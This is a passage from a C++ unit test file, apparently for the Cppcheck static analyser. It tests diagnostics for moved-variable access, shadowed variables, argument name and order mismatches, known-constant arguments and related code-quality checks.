false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n 